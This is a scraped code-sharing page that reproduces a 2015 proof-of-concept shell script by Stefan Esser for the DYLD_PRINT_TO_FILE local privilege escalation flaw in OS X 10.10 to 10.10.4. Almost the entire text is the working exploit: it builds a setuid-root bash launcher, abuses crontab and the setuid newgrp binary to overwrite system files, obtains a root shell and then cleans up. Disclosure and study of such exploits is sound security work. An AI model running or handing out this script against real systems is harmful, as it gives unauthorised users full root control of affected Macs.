扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 |
#!/bin/sh # # Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE # local privilege escalation vulnerability in OS X 10.10 - 10.10.4 # # (C) Copyright 2015 Stefan Esser <stefan.esser@sektioneins.de> # # Wait months for a fix from Apple or install the following KEXT as protection # https://github.com/sektioneins/SUIDGuard # # Use at your own risk. This copies files around with root permissions, # overwrites them and deletes them afterwards. Any glitch could corrupt your # system. So you have been warned. SUIDVICTIM=/usr/bin/newgrp # why even try to prevent a race condition? TARGET=<code>pwd</code>/tmpXXXXX rm -rf $TARGET mkdir $TARGET cat << EOF > $TARGET/boomsh.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { setuid(0); setgid(0); system("/bin/bash -i"); printf("done.\n"); return 0; } EOF cat << EOF > $TARGET/overwrite.c #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> int main(int argc, char **argv) { int fd; char buffer[1024]; ssize_t toread, numread; ssize_t numwritten; ssize_t size; /* disable O_APPEND */ fcntl(3, F_SETFL, 0); lseek(3, 0, SEEK_SET); /* write file into it */ fd = open( EOF echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c cat << EOF >> $TARGET/overwrite.c , O_RDONLY, 0); if (fd > 0) { /* determine size */ size = lseek(fd, 0, SEEK_END); lseek(fd, 0, SEEK_SET); while (size > 0) { if (size > sizeof(buffer)) { toread = sizeof(buffer); } else { toread = size; } numread = read(fd, &buffer, toread); if (numread < toread) { fprintf(stderr, "problem reading\n"); _exit(2); } numwritten = write(3, &buffer, numread); if (numread != numwritten) { fprintf(stderr, "problem writing\n"); _exit(2); } size -= numwritten; } fsync(3); close(fd); } else { fprintf(stderr, "Cannot open for reading\n"); } return 0; } EOF cp $SUIDVICTIM $TARGET/backup gcc -o $TARGET/overwrite $TARGET/overwrite.c gcc -o $TARGET/boomsh $TARGET/boomsh.c EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null rm -rf $TARGET /usr/bin/boomsh |
体验盒子
